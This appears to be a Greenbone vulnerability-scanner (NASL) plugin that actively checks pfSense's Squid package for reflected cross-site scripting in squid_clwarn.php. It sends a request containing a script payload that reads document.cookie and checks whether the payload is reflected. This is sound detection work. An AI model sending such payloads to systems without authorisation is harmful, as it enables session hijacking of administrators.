pfSense Squid < 0.4.18 Multiple Vulnerabilities - Active Check
🗓️ 19 Jul 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType
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| Source | Link |
|---|---|
| seclists | www.seclists.org/fulldisclosure/2016/Jun/43 |
| packetstormsecurity | www.packetstormsecurity.com/files/137526 |
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:pfsense:pfsense";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.808587");
script_version("2025-09-09T14:09:45+0000");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2025-09-09 14:09:45 +0000 (Tue, 09 Sep 2025)");
script_tag(name:"creation_date", value:"2016-07-19 12:17:57 +0530 (Tue, 19 Jul 2016)");
script_tag(name:"qod_type", value:"remote_analysis");
script_name("pfSense Squid < 0.4.18 Multiple Vulnerabilities - Active Check");
script_tag(name:"summary", value:"Squid running on pfSense is prone to multiple
vulnerabilities.");
script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
check whether it is able to read cookie or not.");
script_tag(name:"insight", value:"Multiple flaws exist due to improper
escaping of variables in 'squid-monitor.php' and 'squid_clwarn.php' scripts.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attackers to execute arbitrary script code in a user's browser session within
the trust relationship between their browser as well as any administrators
viewing the log files through the pfSense web-GUI.");
script_tag(name:"affected", value:"Squid version 0.4.16_2 running on pfSense
version 2.3.1-RELEASE-p1 and probably prior.");
script_tag(name:"solution", value:"Update to Qquid version 0.4.18 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name:"URL", value:"https://seclists.org/fulldisclosure/2016/Jun/43");
script_xref(name:"URL", value:"https://packetstormsecurity.com/files/137526");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_pfsense_consolidation.nasl");
script_require_ports("Services/www", 443);
script_mandatory_keys("pfsense/http/detected");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
exit(0);
url = "/squid_clwarn.php";
res = http_get_cache(item:url, port:port);
if(res && res =~ "Powered by.*>SquidClamav") {
url = "/squid_clwarn.php?url=xyz&source=xyz&user=&virus=stream:<script>alert(document.cookie)</script>";
if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"Powered by.*>SquidClamav",
extra_check:make_list("<script>alert\(document\.cookie\)</script>", "Virus detected", "Virus name"))) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);
}
exit(0);
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